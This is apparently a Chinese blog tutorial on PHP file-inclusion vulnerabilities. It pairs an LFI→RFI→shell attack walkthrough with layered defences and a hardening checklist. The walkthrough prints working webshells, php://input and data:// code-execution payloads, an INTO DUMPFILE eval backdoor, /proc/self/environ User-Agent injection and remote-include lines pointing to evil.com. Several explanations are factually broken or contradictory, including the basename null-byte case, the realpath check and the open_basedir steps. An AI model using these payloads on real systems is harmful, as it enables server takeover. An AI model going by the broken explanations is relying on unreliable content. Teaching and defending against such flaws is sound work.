1. 文件包含漏洞不是“读文件”那么简单:它是一次权限越界的信任崩塌
你有没有遇到过这样的情况:一个Web系统里,某个页面URL里带着?page=about.php,你随手改成?page=/etc/passwd,页面直接吐出了一堆Linux系统用户信息?或者把参数换成?page=https://evil.com/shell.txt,后端服务器居然真去远程拉取并执行了那段代码?这不是黑客电影里的桥段,而是真实发生在成千上万个老旧CMS、自研后台、甚至部分教学Demo中的文件包含漏洞(File Inclusion Vulnerability)。它不像SQL注入那样需要构造复杂语法,也不像XSS那样依赖浏览器渲染,它的破坏力往往更隐蔽、更底层——因为它直接绕过了应用层的业务逻辑,直击PHP/Java/Python等语言运行时的文件加载机制。
这个漏洞的核心,从来不是“能不能读到文件”,而是开发者把本该由程序严格控制的文件路径,交给了不可信的外部输入来决定。就像你家的门锁本该只认你配的钥匙,结果你把锁芯拆下来,换成一个写着“随便谁都能插根铁丝试试”的接口。攻击者不需要破解密码,只需要知道你家门框上贴着一张纸:“今天允许插入的钥匙编号范围:1–9999”。而?page=../../../../etc/passwd,就是那根刚好卡进锁芯、把门推开的铁丝。
我最早在某高校实验室维护的一套课程作业提交系统里撞见它。系统用PHP写的,首页有个include($_GET['page'] . '.php'),美其名曰“模块化设计”。学生A改了URL参数,把page=student变成page=../../config/db,瞬间看到数据库连接密码;学生B更绝,上传了一个带<?php system($_GET['cmd']); ?>的图片,再用page=uploads/20240512_abc.jpg把它包含进来,整台服务器就成了他的命令行终端。这不是学生技术多高超,而是开发时那行include()调用,像一扇没关严的防火门,让所有本该被隔离的危险流量,顺着缝隙涌进了核心区。
关键词里虽然没填,但这个场景天然绑定三个核心词:本地文件包含(LFI)、远程文件包含(RFI)、PHP伪协议利用。它们不是并列关系,而是攻击链条上的递进环节:LFI是起点,RFI是升级,伪协议是破壁锤。理解这一点,才能跳出“防住../就行”的浅层思维。真正的防御,得从信任模型重建开始——不是堵住某条缝,而是换掉整扇门。
2. 为什么include()和require()会成为攻击入口:PHP运行时的加载机制真相
要真正吃透文件包含漏洞,必须掀开PHP引擎的盖子,看看include、require、include_once、require_once这四个函数背后到底发生了什么。很多人以为它们只是“把另一个PHP文件的内容抄过来”,这是最大的误解。实际上,它们触发的是PHP运行时(Zend Engine)的一整套文件定位、内容读取、语法解析、opcode编译、执行上下文注入的完整流程。这个过程里,每一个环节都可能被恶意输入劫持。
先看最基础的定位逻辑。当PHP执行include($path)时,它不会简单地按字面意思去找文件。它会经历三级路径解析:
- 绝对路径优先:如果
$path以/开头(Linux)或盘符加冒号(Windows),PHP直接走系统级文件系统API读取,完全跳过任何配置限制; - 相对路径回溯:如果
$path不含/,PHP会在当前脚本所在目录下查找; - include_path链式搜索:如果前两步都失败,PHP会遍历
php.ini中include_path配置的多个目录(如.:/usr/share/php:/var/www/lib),逐个尝试拼接查找。
问题就出在第1步和第3步。攻击者只要能让$path以/开头,就能无视所有业务目录隔离;而include_path如果配置了不安全的路径(比如把/tmp加进去),那include('shell')就能直接加载/tmp/shell.php。我见过最离谱的案例,是某公司内部管理后台的php.ini里,include_path被设成了".:/var/www/html:/tmp"——这意味着攻击者上传一个/tmp/xxx.php,再用?page=xxx就能包含执行。运维说“我们禁用了allow_url_include,所以很安全”,却忘了/tmp本身就是系统级绝对路径。
再深一层,是PHP对URL协议的支持机制。PHP默认支持http://、https://、ftp://等协议流,只要allow_url_fopen=On(这是很多老版本PHP的默认值),include('http://evil.com/payload.php')就会触发HTTP请求,下载远程文件并执行。这就是远程文件包含(RFI)的根基。但更危险的是那些不常被注意的伪协议(Wrapper),比如:
php://filter/read=convert.base64-encode/resource=index.php:不执行文件,而是用base64编码读取源码,绕过disable_functions限制;php://input:读取原始POST请求体,配合Content-Type: application/x-www-form-urlencoded,可直接注入PHP代码;data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+:将base64解码后的PHP代码直接作为数据流执行。
这些伪协议的存在,让防御变得极其复杂。你封了http://,攻击者切到php://filter;你禁了include,他用file_get_contents()读取再eval();你eval()也禁了,他用assert()(PHP < 7.2)或preg_replace('/.*/e', ...)(已废弃但存量巨大)来替代。这已经不是简单的“过滤点号斜杠”能解决的,而是整个PHP运行时信任边界的溃散。
提示:PHP 8.0+已彻底移除
create_function()和/e修饰符,但大量生产环境仍在跑PHP 5.6/7.0。检查你的phpinfo()输出,重点关注allow_url_fopen、allow_url_include、disable_functions、open_basedir这四项配置,它们共同构成了文件包含的第一道防线。
3. 从/etc/passwd到RCE:一次完整的LFI→RFI→Shell提权攻击链复现
理论讲完,现在用一个完全虚构但高度还原真实环境的案例,带你走一遍攻击者从发现漏洞到获取服务器最高权限的全过程。这个案例基于某模拟项目X——一套用PHP 7.2搭建的社区论坛后台,管理员登录后可通过admin.php?page=dashboard切换不同管理模块。
3.1 第一步:确认LFI存在并读取敏感配置
访问admin.php?page=../../../../etc/passwd,页面返回:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ... www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin确认LFI存在。接着读取PHP配置:admin.php?page=../../../../usr/local/etc/php/php.ini,找到关键项:
allow_url_fopen = On allow_url_include = Off disable_functions = exec,passthru,shell_exec,system open_basedir = /var/www/html:/tmpallow_url_include=Off意味着RFI被禁,但open_basedir把/tmp放进了白名单——这是突破口。
3.2 第二步:上传Webshell并利用LFI包含执行
攻击者用论坛的头像上传功能(未校验文件类型),上传一个名为shell.jpg的文件,内容却是:
<?php if(isset($_GET['cmd'])) { echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; } ?>服务器保存为/var/www/html/uploads/20240512_shell.jpg。由于open_basedir允许/tmp,攻击者不能直接包含这个路径(因为/var/www/html不在白名单里),但他可以利用/tmp做中转。于是他发送请求:
POST /admin.php?page=/tmp/shell.php HTTP/1.1 ... <?php copy('/var/www/html/uploads/20240512_shell.jpg', '/tmp/shell.php'); ?>这里用php://input伪协议,将PHP代码写入/tmp/shell.php,再用?page=/tmp/shell.php包含执行。成功后,访问/tmp/shell.php?cmd=id,返回:
uid=33(www-data) gid=33(www-data) groups=33(www-data)3.3 第三步:绕过disable_functions获取完整Shell
disable_functions禁了所有常见命令执行函数,但/tmp/shell.php里还有shell_exec(),说明配置没生效?不,是攻击者上传的文件被当作普通图片处理,没经过PHP解析。真正的突破点在php://filter。他构造URL:
admin.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/config/database.php页面返回base64编码的数据库配置:
PD9waHAgZGVmaW5lKCdEQVRBQkFTRV9IT1NUIiwgJzEyNy4wLjAuMScpOwokREFUQUJBU0VfVVNFUiA9ICdhZG1pbic7CiREQVRBQkFTRV9QQVNTID0gJ3Bhc3N3b3JkMTIzJzsK...解码后得到:
define('DATABASE_HOST', '127.0.0.1'); $DATABASE_USER = 'admin'; $DATABASE_PASS = 'password123';拿到数据库凭据,下一步是写入Webshell到网站根目录。他用mysql客户端连接(如果开放)或利用PHP的mysqli扩展执行:
$conn = new mysqli('127.0.0.1', 'admin', 'password123', 'forum'); $conn->query("SELECT '<?php eval($_POST[cmd]); ?>' INTO DUMPFILE '/var/www/html/shell.php'");此时/var/www/html/shell.php已存在,且open_basedir允许/var/www/html,直接访问/shell.php即可获得一句话木马。
3.4 第四步:利用/proc/self/environ实现无文件落地提权
以上都需要上传文件,但有些环境连上传都禁了。这时/proc/self/environ就派上用场。在Linux中,每个进程的环境变量存储在/proc/[pid]/environ,而Web服务器进程(如Apache的worker)的环境变量里,常包含USER_AGENT、COOKIE等可控字段。攻击者发送:
GET /admin.php?page=/proc/self/environ HTTP/1.1 User-Agent: <?php system('id'); ?>如果PHP以CGI模式运行(而非mod_php),/proc/self/environ会包含HTTP_USER_AGENT的值,且PHP会将其作为PHP代码执行。这实现了无文件落地(Fileless)攻击,连/tmp都不用碰。
这条攻击链清晰展示了:LFI不是终点,而是跳板;RFI不是唯一路径,伪协议和环境变量是更隐蔽的通道;防御不能只盯着../,更要审视整个PHP运行时的信任边界。
4. 防御不是加过滤器,而是重构信任模型:从代码层到架构层的七道防线
很多团队的防御思路还停留在“加个str_replace('../', '', $page)”,这就像给炸弹贴创可贴。真正的防御必须分层构建,从最底层的语言机制,到最上层的架构设计,形成纵深防御体系。以下是我在多个项目中验证有效的七道防线,按实施难度和效果排序:
4.1 第一道:彻底禁用动态包含,用白名单路由替代
这是最根本、最有效的方案。永远不要让外部输入直接参与include/require的路径拼接。把所有合法页面抽象成枚举值,用switch或配置数组映射:
// ❌ 危险:直接拼接 include($_GET['page'] . '.php'); // ✅ 安全:白名单硬编码 $valid_pages = ['dashboard', 'users', 'settings']; $page = $_GET['page'] ?? 'dashboard'; if (!in_array($page, $valid_pages)) { die('Invalid page'); } include($page . '.php');更进一步,用前端路由+后端API分离架构,页面切换由JavaScript控制,PHP只提供JSON数据接口。这样连include函数都用不上了。
4.2 第二道:强制open_basedir并锁定绝对路径
open_basedir是PHP内置的沙箱机制,但它常被忽略或配置错误。正确姿势是:
- 在
php.ini中设置open_basedir = /var/www/html:/tmp(仅允许可信目录); - 对于多租户环境,为每个站点单独配置
open_basedir(通过vhost或.user.ini); - 关键技巧:在
open_basedir末尾加:/dev/null,防止攻击者用/dev/null/../../../etc/passwd绕过(因为/dev/null/..仍指向/dev/null,无法向上遍历)。
4.3 第三道:关闭allow_url_fopen和allow_url_include
这两项必须设为Off,除非业务明确需要远程加载(如CDN资源)。检查方法:在phpinfo()页面搜索这两个配置项,确保值为Off。注意,allow_url_include=Off并不能阻止php://filter等伪协议,但它能切断最直接的RFI路径。
4.4 第四道:禁用高危函数并监控异常调用
disable_functions应包含:exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec。但光禁用不够,还要用set_error_handler()或日志系统监控这些函数的调用栈:
function security_log($errno, $errstr, $errfile, $errline) { if (strpos($errstr, 'disabled') !== false) { error_log("Disabled function called: {$errstr} in {$errfile}:{$errline}"); // 发送告警到企业微信/钉钉 } } set_error_handler('security_log', E_WARNING);4.5 第五道:Web服务器层路径规范化与拒绝
在Nginx/Apache配置中,强制路径标准化并拒绝可疑请求:
# Nginx示例:拒绝包含../或空字节的请求 if ($args ~ "(?:\.\./|%00)") { return 403; } # 强制重写,移除多余斜杠 rewrite ^//+ / permanent;但这只是辅助,不能替代代码层防御,因为攻击者可用%2e%2e%2f(URL编码)绕过。
4.6 第六道:使用SAST工具进行代码审计
在CI/CD流水线中集成静态分析工具,如:
- PHPStan:检测未定义变量、类型错误;
- Psalm:更严格的类型检查;
- Semgrep:自定义规则扫描危险函数调用,例如匹配
include($_.*);模式。
我给某公司部署的Semgrep规则如下:
rules: - id: dangerous-include patterns: - pattern: include($X); - pattern-not: include("*.php"); message: "Dangerous dynamic include detected" languages: [php] severity: ERROR每次提交代码,CI都会自动扫描并阻断含此类风险的PR。
4.7 第七道:运行时行为监控(RASP)
在生产环境部署RASP(Runtime Application Self-Protection)探针,实时拦截恶意行为。例如,当PHP进程尝试打开/etc/passwd或执行system('id')时,RASP能立即终止进程并告警。这相当于给应用装上“免疫系统”,即使代码有漏网之鱼,也能在最后一刻拦截。
注意:七道防线不是“全都要”,而是根据项目风险等级选择组合。对于金融级系统,必须做到1+2+3+4+7;对于内部工具,1+2+6已足够。关键是把防御嵌入开发流程,而不是上线后再打补丁。
5. 踩坑实录:那些年我们信誓旦旦的“安全方案”如何被绕过
防御方案写得再漂亮,实战中总会有意想不到的绕过方式。分享几个我在渗透测试和代码审计中亲历的真实踩坑案例,它们比教科书更能说明问题:
5.1 坑一:“我用basename()提取文件名,肯定安全”
某开发者认为basename($_GET['page'])能剥离所有路径,于是写:
$page = basename($_GET['page']); include($page . '.php');攻击者传入page=../../../etc/passwd%00(URL编码的空字节)。basename()在遇到\0时会截断,返回passwd,最终include('passwd.php')失败,但%00之后的.php被忽略,实际执行的是include('passwd')——而Linux下/etc/passwd没有扩展名,PHP会直接读取它。空字节截断(Null Byte Injection)是PHP 5.3.4之前的老问题,但很多旧系统仍在运行。
5.2 坑二:“我用realpath()做了路径解析,还能错?”
另一团队用realpath()获取绝对路径,再检查是否在白名单内:
$path = realpath($_GET['page'] . '.php'); if (strpos($path, '/var/www/html/') === 0) { include($path); }问题在于realpath()对不存在的文件返回false,但攻击者传入page=../../../../etc/passwd/xxx,realpath()返回false,strpos(false, ...)会报Warning并返回false,条件判断为true,最终include(false)——PHP会尝试包含字符串"false",导致错误,但攻击者可继续尝试其他payload。更致命的是,如果/etc/passwd/xxx恰好存在(比如是个目录),realpath()会返回/etc/passwd,而/etc/passwd显然不在/var/www/html/下,但开发者没处理realpath()返回false的情况,导致逻辑漏洞。
5.3 坑三:“我禁了include,用file_get_contents()读取再echo,总安全了吧?”
这是典型的“换汤不换药”。某CMS用echo file_get_contents($_GET['file']);显示文本文件。攻击者传入file=php://filter/read=convert.base64-encode/resource=index.php,页面返回base64编码的源码。他再用file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+,PHP会解码并执行phpinfo()。file_get_contents()和include()共享同一套流包装器(Stream Wrapper)机制,禁一个不等于禁全部。
5.4 坑四:“我用Docker容器化了,难道还不安全?”
某公司把PHP应用打包进Docker,以为容器就是银弹。但他们的Dockerfile是:
FROM php:7.4-apache COPY . /var/www/html RUN chmod -R 777 /var/www/htmlchmod 777让所有文件可写,攻击者一旦通过LFI拿到命令执行,就能直接修改index.php植入后门。更糟的是,他们没限制容器能力,docker run --cap-add=SYS_ADMIN启动,攻击者可逃逸到宿主机。容器化是隔离手段,不是安全手段;它解决的是“影响范围”,不是“漏洞本身”。
这些坑的共同教训是:安全不是某个函数的开关,而是对整个数据流的信任评估。每接收一个外部输入,都要问:它来自哪里?经过哪些处理?最终流向哪里?中间环节是否可控?答案中任何一个“否”,都可能是新的攻击面。
6. 实战加固Checklist:上线前必须完成的12项动作
为了把前面所有原理和经验转化为可执行的动作,我整理了一份上线前必须完成的12项加固Checklist。它不追求大而全,只聚焦最易遗漏、后果最严重的关键项,每项都附带验证命令和预期结果:
| 序号 | 检查项 | 验证命令 | 预期结果 | 备注 |
|---|---|---|---|---|
| 1 | allow_url_fopen是否关闭 | php -i | grep allow_url_fopen | allow_url_fopen => Off | 必须关闭,除非业务强依赖 |
| 2 | allow_url_include是否关闭 | php -i | grep allow_url_include | allow_url_include => Off | RFI主开关,必须关 |
| 3 | open_basedir是否配置 | php -i | grep open_basedir | /var/www/html:/tmp(具体路径) | 确保包含业务目录和临时目录,不含/ |
| 4 | disable_functions是否启用高危函数 | php -i | grep disable_functions | 包含exec,shell_exec,system等 | 至少禁用5个以上命令执行函数 |
| 5 | 是否存在动态include/require | grep -r "include.*\$_" /var/www/html/ | 无输出 | 所有包含必须用白名单 |
| 6 | 是否存在file_get_contents($_ | grep -r "file_get_contents.*\$_" /var/www/html/ | 无输出 | 同样需白名单或绝对路径 |
| 7 | Web服务器是否拒绝../ | curl -v "http://localhost/?page=../etc/passwd" | HTTP 403 或 400 | Nginx/Apache需配置 |
| 8 | 是否禁用php://input | php -i | grep "php.input" | 无输出(表示未启用) | 检查是否有自定义流包装器 |
| 9 | 临时目录权限是否合理 | ls -ld /tmp | drwxrwxrwt(最后一位t) | sticky bit防止跨用户删除 |
| 10 | PHP错误信息是否关闭 | php -i | grep "display_errors" | display_errors => Off | 生产环境必须关闭,避免泄露路径 |
| 11 | 是否启用log_errors | php -i | grep "log_errors" | log_errors => On | 错误必须记录到日志,而非页面 |
| 12 | 是否部署RASP探针 | ps aux | grep rasp | 显示RASP进程 | 如OpenRASP、Snyk等 |
这份清单的价值在于:它把抽象的安全原则,转化成了运维人员敲几行命令就能验证的具体动作。我曾用它帮某电商公司快速排查出3个遗留的include($_GET)调用,其中一个藏在十年未动的支付回调模块里,差点酿成大祸。安全不是玄学,它是一系列可验证、可审计、可追溯的具体操作。
7. 最后一点体会:安全工程师的终极武器不是工具,而是质疑精神
写完这篇长文,我想起去年在某次技术分享会上,一位年轻开发者问我:“老师,您说这么多防御方案,哪个最有效?”我没有直接回答,而是反问他:“你每天写代码时,会不会下意识地想‘这段逻辑,如果用户传个奇怪的参数,会发生什么?’”他愣了一下,说“好像……很少”。
那一刻我意识到,所有工具、所有配置、所有Checklist,都只是外功。真正的内功,是那种深入骨髓的质疑精神——对输入的质疑,对默认配置的质疑,对“大家都这么写”的质疑,甚至对自己代码的质疑。文件包含漏洞之所以长期存在,并非因为PHP设计有缺陷,而是因为开发者在写include($_GET['page'])时,心里默认“用户只会传合法的页面名”。这个“默认”,就是所有安全问题的温床。
我在某实验室带学生做CTF训练时,总会强调一个习惯:每次看到一个函数,先查它的官方文档,再查它的“危险用法”章节。比如看到include(),立刻翻到PHP手册的“Security Considerations”小节;看到file_get_contents(),就去搜“PHP stream wrapper bypass”。这种习惯,比记住一百个Payload更有价值。
所以,如果你只记住本文中的一件事,请记住这个:安全不是给代码加锁,而是永远保持对“输入”的警惕。当你不再假设用户是善意的,不再相信配置是默认安全的,不再觉得“这个功能很简单,不可能有漏洞”,你就已经站在了安全防御的第一道防线之上。剩下的,不过是把这种警惕,转化成一行行严谨的代码、一条条精确的配置、一次次认真的验证。
这条路没有终点,但每一步,都让系统离崩溃更远一点。